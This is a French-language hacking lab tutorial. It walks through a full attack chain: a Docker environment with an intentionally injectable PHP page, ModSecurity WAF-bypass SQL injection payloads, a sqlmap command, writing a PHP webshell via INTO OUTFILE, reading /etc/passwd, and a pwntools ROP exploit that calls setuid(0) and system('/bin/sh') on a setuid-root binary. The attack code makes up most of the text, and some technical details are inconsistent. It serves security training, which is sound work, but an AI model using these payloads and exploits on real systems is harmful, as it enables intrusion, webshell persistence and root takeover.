⚠️ LABORATOIRE ISOLÉ OBLIGATOIRE – Utilisation uniquement sur des systèmes que vous possédez ou avec autorisation explicite. Article 323-1 du Code pénal français. Formation éthique.

Chaîne d'attaque complète 2026 : Injection SQL (contournement WAF moderne) → ROP (setuid root)

De l'accès initial via une injection SQL avancée (contournant un WAF ModSecurity avec techniques 2026) à l'obtention d'un shell root par ROP en passant par un leak d'adresse.

🎯 Introduction

Ce tutoriel vous guide pas à pas dans une chaîne d'attaque réaliste, mettant en œuvre :

Important : Ce laboratoire doit être monté sur des machines virtuelles isolées (sans accès Internet). Tous les codes fournis sont à des fins éducatives uniquement. L'utilisation non autorisée est illégale.

🔧 Préparation du laboratoire (Docker Compose)

Pour garantir la reproductibilité, nous fournissons un fichier docker-compose.yml qui lance tous les services nécessaires (Apache + ModSecurity + MySQL + PHP) dans un conteneur isolé. Ce fichier a été testé et fonctionne avec Ubuntu 24.04.

Fichier docker-compose.yml (version finale)

version: '3.8'
services:
  lab:
    image: ubuntu:24.04
    container_name: vuln-lab
    privileged: true
    ports:
      - "8080:80"
    volumes:
      - ./www:/var/www/html
      - ./bin:/home/labuser/bin
      - mysql-data:/var/lib/mysql
    command: >
      bash -c "
        export DEBIAN_FRONTEND=noninteractive &&
        apt-get update &&
        apt-get install -y apache2 php libapache2-mod-php php-mysql mariadb-server libapache2-mod-security2 git python3-pip gdb gdbserver wget sudo &&
        pip3 install pwntools &&
        useradd -m -s /bin/bash labuser &&
        # Cloner OWASP CRS (version 4.x)
        git clone https://github.com/coreruleset/coreruleset.git /etc/apache2/modsecurity-crs &&
        cp /etc/apache2/modsecurity-crs/crs-setup.conf.example /etc/apache2/modsecurity-crs/crs-setup.conf &&
        cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf &&
        sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf &&
        echo 'Include /etc/apache2/modsecurity-crs/crs-setup.conf' >> /etc/apache2/modsecurity.conf &&
        echo 'Include /etc/apache2/modsecurity-crs/rules/*.conf' >> /etc/apache2/modsecurity.conf &&
        a2enmod security2 &&
        # MySQL setup
        service mariadb start &&
        mariadb -e \"SET GLOBAL secure_file_priv = '';\" &&
        mariadb -e \"CREATE DATABASE IF NOT EXISTS lab;\" &&
        mariadb -e \"CREATE USER IF NOT EXISTS 'labuser'@'localhost' IDENTIFIED BY 'labpassword';\" &&
        mariadb -e \"GRANT ALL PRIVILEGES ON lab.* TO 'labuser'@'localhost'; FLUSH PRIVILEGES;\" &&
        mariadb lab -e \"CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(20));\" &&
        mariadb lab -e \"INSERT IGNORE INTO users VALUES (1,'admin','admin123','admin'),(2,'user','userpass','user'),(3,'guest','guest','guest');\" &&
        echo 0 > /proc/sys/kernel/randomize_va_space &&
        service apache2 start &&
        tail -f /dev/null
      "
volumes:
  mysql-data:

Préparation des dossiers locaux

Créez les répertoires nécessaires sur votre machine hôte :

mkdir -p www bin
# Placez ensuite le fichier index.php dans www/ et les codes sources C dans bin/

Lancement du conteneur

docker-compose up -d
# Attendez quelques secondes que tout s'initialise
docker exec -it vuln-lab bash   # pour entrer dans le conteneur si besoin

Application web vulnérable (www/index.php)

Placez ce fichier dans le dossier www/ :

<!DOCTYPE html>
<html><body>
<h1>Recherche d'utilisateur</h1>
<form method="GET">
    ID : <input type="text" name="id">
    <input type="submit" value="Chercher">
</form>
<hr>
<?php
$mysqli = new mysqli("localhost", "labuser", "labpassword", "lab");
if ($mysqli->connect_error) {
    die("Connection failed: " . $mysqli->connect_error);
}
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // 🔥 Vulnérabilité : pas d'échappement
    $sql = "SELECT * FROM users WHERE id = $id";
    $result = $mysqli->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            echo "ID: " . $row["id"]. " - Username: " . $row["username"]. " - Role: " . $row["role"]. "<br>";
        }
    } else {
        echo "Aucun résultat.";
    }
}
?>
</body></html>

Base de données (déjà créée par le script)

Le conteneur crée automatiquement la base et la table. Vérifiez avec :

docker exec vuln-lab mariadb lab -e "SELECT * FROM users;"

🌐 Partie 1 – Injection SQL avec contournement WAF moderne

1.1 Reconnaissance et détection du WAF

Accédez à l'application sur http://localhost:8080/?id=1. Vous devriez voir les informations de l'admin. Essayez ?id=1' : le WAF bloque avec une 403. Vérifiez les logs :

docker exec vuln-lab tail -f /var/log/apache2/modsec_audit.log

1.2 Techniques de contournement 2026

Voici plusieurs méthodes qui fonctionnent encore sur des configurations CRS 4.x avec paranoia level 2 (le défaut).

a) Double encodage et variation de casse

?id=1%2527%20UnIoN%20SeLeCt%201,2,3-- -

Le serveur décode une fois, modsecurity voit une chaîne encodée, si la règle ne décode pas deux fois, elle passe.

b) Commentaires conditionnels MySQL /*! */

?id=1 /*!union*/ /*!select*/ 1,2,3-- -

Cette technique contourne les règles simples qui cherchent les mots-clés séparés par des espaces.

c) Injection dans un corps JSON (si l'application l'accepte)

Bien que notre application PHP ne lise que GET, pour une API JSON, on pourrait faire :

curl -X POST -H "Content-Type: application/json" -d '{"id": "1 union select 1,2,3--"}' http://localhost:8080/

d) HTTP Parameter Pollution (HPP)

?id=1&id=union&id=select&id=1,2,3--

Si l'application concatène les valeurs, cela peut fonctionner.

e) Contournement par charset confusion (CVE-2026-21876)

Cette technique récente utilise l'encodage UTF-7 ou UTF-16 dans les requêtes multipart. Le principe est d'envoyer une requête multipart avec plusieurs parties : la première avec charset=utf-7 contenant le payload SQLi encodé en UTF-7, et une autre partie avec charset=utf-8 (légitime). Le parseur peut mal interpréter l'ensemble. Exemple avec curl :

curl -X POST -F "id=1+ADw-script+AD4-alert(1)+ADw-/script+AD4-" http://localhost:8080/

Pour SQLi, on peut encoder les mots-clés : UNION+AC0- etc. Cette vulnérabilité a été corrigée dans CRS 4.22.0. Si votre WAF n'est pas patché, cela peut passer.

f) Utilisation de sqlmap avec tampers modernes

sqlmap intègre des tampers qui imitent les contournements courants. Exemple :

sqlmap -u "http://localhost:8080/?id=1" \
  --batch --level=3 --risk=3 \
  --tamper=space2comment,randomcase,between,charunicodeencode,versionedmorekeywords \
  --dbs --technique=BEUSTQ

1.3 Exploitation réussie (simulée)

Supposons que nous ayons trouvé une injection valide, par exemple :

?id=1 /*!union*/ /*!select*/ 1, load_file('/etc/passwd'), 3-- -

Cela affiche le contenu de /etc/passwd. On voit alors qu'il existe un utilisateur labuser avec un shell.

1.4 Écriture d'un webshell

Pour écrire un fichier, il faut que MySQL ait le privilège FILE et que secure_file_priv ne restreigne pas le répertoire. Dans notre lab, nous avons désactivé cette variable globalement. On peut alors :

?id=1 /*!union*/ /*!select*/ 1, "<?php system($_GET['cmd']); ?>", 3 into outfile "/var/www/html/shell.php"-- -

Ensuite, on exécute des commandes : http://localhost:8080/shell.php?cmd=id → on obtient www-data.

1.5 Récupération du binaire setuid

Depuis le webshell, listez les répertoires pour trouver le binaire vulnérable. Nous avons placé vuln et vuln_pie dans /home/labuser/bin/ (volume monté). Téléchargez-les sur votre machine d'attaque :

curl "http://localhost:8080/shell.php?cmd=cat%20/home/labuser/bin/vuln" --output vuln
curl "http://localhost:8080/shell.php?cmd=cat%20/home/labuser/bin/vuln_pie" --output vuln_pie

Ou en base64 pour éviter les problèmes binaires :

curl "http://localhost:8080/shell.php?cmd=base64%20/home/labuser/bin/vuln" | base64 -d > vuln

⚙️ Binaire setuid root vulnérable

Nous allons créer deux versions du binaire (à placer dans bin/ sur l'hôte). Compilez-les dans le conteneur (car les binaires doivent être setuid root).

Version facile : vuln.c (sans PIE)

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln() {
    char buffer[64];
    printf("Entrez votre nom : ");
    gets(buffer);  // Vulnérable !
    printf("Bonjour, %s\n", buffer);
}

int main() {
    vuln();
    return 0;
}

Compilation dans le conteneur :

docker exec -it vuln-lab bash
cd /home/labuser/bin
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
sudo chown root:root vuln
sudo chmod 4755 vuln   # setuid root
exit

Version réaliste : vuln_pie.c (avec PIE, canary, NX)

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln() {
    char buffer[64];
    printf("Entrez votre nom : ");
    gets(buffer);  // Toujours vulnérable
    printf("Bonjour, %s\n", buffer);
}

int main() {
    vuln();
    return 0;
}

Compilation avec protections par défaut :

docker exec -it vuln-lab bash
cd /home/labuser/bin
gcc -o vuln_pie vuln_pie.c
sudo chown root:root vuln_pie
sudo chmod 4755 vuln_pie
exit

Vérification des protections :

checksec --file=vuln_pie
# Résultat attendu : PIE activé, canary, NX, RELRO partiel
Note importante : Le binaire ne contient pas d'appel à setuid() dans son code. C'est le flag setuid qui fait que le processus tourne avec les privilèges root. L'exploit devra soit ne pas perdre ces privilèges (en évitant de faire un exec sans setuid), soit appeler explicitement setuid(0) avant execve. Nous ferons cette seconde approche.

⚡ Partie 3 – Exploitation du buffer overflow avec ROP

3.1 Analyse du binaire facile (vuln)

Commençons par vuln (sans PIE). Vérifions ses protections :

checksec --file=vuln
# NX activé, pas de PIE, pas de canary

Nous devons contourner NX avec ROP. Mais avant cela, nous avons besoin d'un leak pour connaître l'adresse de la libc (car nous n'avons pas de gadget syscall dans le binaire). Heureusement, le programme affiche notre entrée via printf. On peut utiliser cela pour leak une adresse de la stack ou de la libc.

3.1.1 Leak d'adresse via format string

Envoyons une chaîne de format : %p %p %p ... pour voir ce que nous pouvons récupérer.

from pwn import *
p = process('./vuln')
p.sendline(b'%p.'*20)
print(p.recvall())

On obtient des adresses. L'une d'elles est probablement l'adresse de retour de vuln (qui pointe vers main). On peut aussi trouver une adresse de la libc (ex: __libc_start_main+240).

Pour trouver le bon offset, on peut utiliser gdb :

gdb ./vuln
break *vuln+50   # après le gets
run
# Envoyer "AAAA%p.%p.%p..."
# Puis x/50gx $rsp pour voir où se trouve notre chaîne et repérer les adresses

L'offset varie selon la compilation. Notez que l'adresse de la libc (par exemple celle juste après le main) est souvent à un offset comme 11 ou 15.

3.1.2 Construction d'un ret2libc avec leak de libc

On va utiliser la même vulnérabilité de format pour leak une adresse de la libc (par exemple l'adresse de retour après printf). Ensuite, on calcule la base de la libc et on appelle system("/bin/sh") après avoir réglé setuid(0).

#!/usr/bin/env python3
from pwn import *

# Configuration
binary = './vuln'
context.binary = binary
# À adapter selon votre version de libc (ici Ubuntu 24.04)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def get_leak(p):
    p.sendlineafter(b'nom :', b'%15$p')  # offset à trouver avec debug
    leak = p.recvline().strip().decode()
    return int(leak, 16)

p = process(binary)

# Étape 1 : Leak d'une adresse de la libc via format string
# L'offset peut varier, on le trouve en essayant %p %p etc.
# Ici on suppose que %15$p donne l'adresse de retour dans libc
leak_addr = get_leak(p)
log.info(f'Leak: {hex(leak_addr)}')

# Calcul de la base libc : offset de __libc_start_main_ret dans cette libc
# Trouvez le vôtre avec : readelf -s libc.so.6 | grep __libc_start_main
offset_libc_start_main_ret = 0x240b3  # à vérifier (Ubuntu 24.04 libc-2.39)
libc_base = leak_addr - offset_libc_start_main_ret
libc.address = libc_base
log.info(f'Libc base: {hex(libc_base)}')

# Étape 2 : Construction du ROP pour setuid(0) et system("/bin/sh")
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
bin_sh = next(libc.search(b'/bin/sh\x00'))

# ROP chain : pop rdi; ret + 0 + setuid + pop rdi; ret + binsh + system
payload = b'A'*72  # offset trouvé avec cyclic
payload += p64(pop_rdi) + p64(0)
payload += p64(libc.symbols['setuid'])
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(libc.symbols['system'])

p.sendline(payload)
p.interactive()

Ce script suppose que nous avons trouvé le bon offset pour le leak et l'offset de __libc_start_main_ret. En pratique, il faut ajuster avec GDB.

3.2 Version réaliste (PIE + canary + ASLR)

Ici, nous avons un canary à contourner. Le printf peut aussi leak le canary car il se trouve sur la stack. Il faut d'abord trouver son offset, puis l'inclure dans le payload final pour ne pas déclencher le check.

3.2.1 Leak du canary

Avec une chaîne de format comme %p.%p.%p..., on repère une valeur qui ne change pas entre deux exécutions (le canary se termine par 0x00). Exemple :

p.sendline(b'%11$p')  # offset à trouver

On récupère le canary.

3.2.2 Leak d'une adresse PIE

L'adresse de retour de vuln pointe vers main dans le binaire. En la leakant, on peut calculer la base du binaire.

3.2.3 Construction du ROP final avec canary

Avec la base du binaire et la base de la libc (obtenue via un autre leak), on peut construire la même chaîne que précédemment en incluant le canary.

🔍 Explication : Dans cette version, nous utilisons deux vulnérabilités : le buffer overflow et le format string (présent dans le printf). Le format string nous permet de lire la stack pour récupérer le canary et une adresse du binaire (ou de la libc). Ensuite, nous construisons un payload ROP qui préserve le canary et redirige l'exécution vers system("/bin/sh") après avoir appelé setuid(0). Le binaire étant setuid root, system s'exécutera avec les privilèges root.

3.2.4 Utilisation d'un one_gadget (alternative)

Un one_gadget est un offset dans la libc qui exécute execve("/bin/sh", ...) si certaines conditions sur les registres sont remplies. Cela permet de réduire la longueur de la ROP chain. Trouvez un one_gadget avec :

one_gadget /lib/x86_64-linux-gnu/libc.so.6

Choisissez celui dont les contraintes sont satisfaites (souvent [rsp+0x30] == NULL). Dans la ROP chain, il suffira de mettre l'adresse du gadget après avoir réglé les registres éventuellement.

3.3 Exécution à distance

Après avoir développé l'exploit localement, nous le transférons sur la machine cible via le webshell (ou via wget depuis un serveur HTTP). Nous exécutons le script Python (si Python est installé) ou nous le compilons en binaire avec PyInstaller. Le résultat : un shell root.

python3 exploit.py

Ou, si le binaire est sur la cible :

./exploit

🛡️ Défenses et recommandations

🔬 Exercices pour aller plus loin

  1. Adaptez l'exploit ROP pour la version réaliste en intégrant le canary et le leak PIE.
  2. Utilisez one_gadget pour trouver un gadget dans la libc qui exécute execve("/bin/sh", ...) après avoir vérifié les contraintes.
  3. Créez un binaire avec un canary et essayez de le bruteforcer (sur 32 bits c'est possible).
  4. Remplacez l'injection SQL par une injection dans un champ JSON (ex: API moderne) et adaptez le contournement WAF.
  5. Mettez en place un serveur C2 pour recevoir le shell root.

🎯 Conclusion

Ce tutoriel vous a présenté une chaîne d'attaque complète et moderne : injection SQL avec contournement WAF, obtention d'un shell, puis exploitation d'un binaire setuid par ROP avec leak. Vous avez vu comment les techniques évoluent et comment les contournements actuels s'adaptent aux défenses. Utilisez ces connaissances pour renforcer vos systèmes, jamais pour les attaquer.

📌 N'oubliez pas de réactiver ASLR après les tests : echo 2 | sudo tee /proc/sys/kernel/randomize_va_space